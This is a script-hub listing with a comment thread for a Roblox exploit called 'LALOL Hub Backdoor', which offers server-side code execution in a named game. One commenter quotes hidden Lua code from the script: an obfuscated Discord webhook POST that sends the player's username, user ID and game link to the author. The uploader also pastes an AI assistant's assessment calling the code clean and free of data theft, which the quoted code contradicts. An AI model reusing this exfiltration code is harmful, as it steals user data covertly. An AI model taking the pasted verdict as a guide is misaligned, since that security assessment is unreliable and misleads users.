6.8k Views
3.6k Executions
LALOL Hub Backdoor (UNSECURE)
Universal Script 📌Uploaded by
6 months ago
Please login to perform these actions:
Description
- able to act as serverside and do anything - you must use require scripts Try for yourself: 1. join game https://www.roblox.com/games/116935423363364/Infected-Suburbs 2. execute script 3. run the require sctipt in the script Go To The Secured Lalol hub by Me if you are a bit skeptical then check the latest CoPilot answer: https://docs.google.com/document/d/1TSWnfyxvwvcCW-Q20H8gccC2JfpgYM0nNt7ZaKpHZrU/edit?usp=sharing
Moondiety Script | 17+ supported Games
Cant even load lalol when I click "execute" it doesnt show up
@Drneq you will have to load the unsecure version while i figure something out
i have removed all of the malicious code so enjoy... :|
"and it can't find the webhook for some reason" because there is no webhook
Why the require script not work:(
don't even bother running, this is a stealer/rat... owner is a shady account with no previous scripts... SOURCE: -scanned via multiple (non ai and ai) code inspectors -quote from a few scripthub creators ... WHAT does it do? When a backdoor is found, the script sends an HTTP POST request to a hardcoded Discord webhook URL (The creator's) (obfuscated as ASCII codes in the source). It takes your Roblox username, user ID, and the game URL to the script's author without your knowledge or consent. Also, reinstalls itself across teleports It uses queue_on_teleport to re-execute itself every time you teleport to a new game. It's basically a sticky script, following you through sessions. Conclusion, if something is free, you are the product
@Phantom_Dawn i will check the source code. Thanks for the notice
@Phantom_Dawn (Copilot Answer) Based on my *ysis of this Lua code, this is NOT inherently malicious code. Here's what it actually is: What the Code Does This is a Roblox script that creates an IDE/code editor interface within the Roblox game engine. Specifically, it: Creates a GUI - A graphical user interface window *led "LALOL Hub Backdoor" with: A text editor box for writing code Execute and Clear buttons A backdoor scanner feature Provides syntax highlighting - Includes a sophisticated Lua syntax highlighter with lexical *ysis that colors keywords, strings, comments, numbers, etc. Enables script execution - Allows users to write and execute Lua code within the Roblox environment Why It's Called "Backdoor" The term "backdoor" in the filename refers to the ability to execute arbitrary code in Roblox, which is a common feature in exploit tools and game modification utilities. However, the code itself is just an interface—it's a tool. Is It Malicious? Not inherently. It's: ✅ Legitimate Lua code ✅ Properly structured GUI creation ✅ Contains no hidden payloads or data theft ✅ No keyloggers, cryptominers, or malware characteristics However, consider the context: In legitimate contexts: It could be used for game development, modding, or educational purposes In malicious contexts: Someone could use this tool to inject harmful code into Roblox games or accounts Against TOS: Using exploit tools in Roblox violates the platform's Terms of Service Verdict The code itself is clean and not malicious, but it's a code execution tool whose legality depends on how it's used. Similar to how a *driver isn't inherently criminal, but can be used for theft.
@Phantom_Dawn (My Answer) it is not malicious while there are things that state token, username, and discord, there is also no api, webhook, or http request. This evidence proves your statement false no matter what. Next time before using AI scheme the code yourself, it won't hurt. and also don't trust other scripthub creators as they can also give incorrect information, And it does not matter if the account has no other scripts. (This may be edited to include several other things)
@microsoftrap7132 here the webhook: local request = (syn and syn.request) or (http and http.request) or http_request or (fluxus and fluxus.request) or request if request and not _G.LALOL_Hub_Backdoor_Logs_Disabled then request({ Url = '\104\116\116\112\115\58\47\47\100\105\115\99\111\114\100\46\99\111\109\47\97\112\105\47\119\101\98\104\111\111\107\115\47\49\49\48\56\54\57\52\49\54\48\52\54\52\49\53\56\55\56\49\47\57\86\67\122\95\99\107\52\117\120\51\77\51\84\81\106\56\109\111\76\68\113\51\78\119\45\100\107\89\68\87\55\103\69\99\97\76\72\75\80\98\101\50\95\74\74\73\122\53\109\50\102\69\104\54\101\83\110\112\51\51\87\79\76\116\103\105\49', Method = 'POST', Headers = { ['Content-Type'] = 'application/json', }, Body = HttpService:JSONEncode({ username='pls dont delete this w3bh00k', content="**User: `"..game:GetService('Players').LocalPlayer.Name..'` | `'..game:GetService('Players').LocalPlayer.UserId..'`\nhttps://www.roblox.com/games/'..game.PlaceId..'\n`'..backdoor:GetFullName()..'`**', }) *iys the script(I already tested it by asking an AI to *yze it, and it can't find the webhook for some reason)
@helloworldprint i will de-obfuscate it and troll the owner
nvm the owner prob removed the webhook
I’m about to use this
@Hecker520 good 4 u, i hope u like it!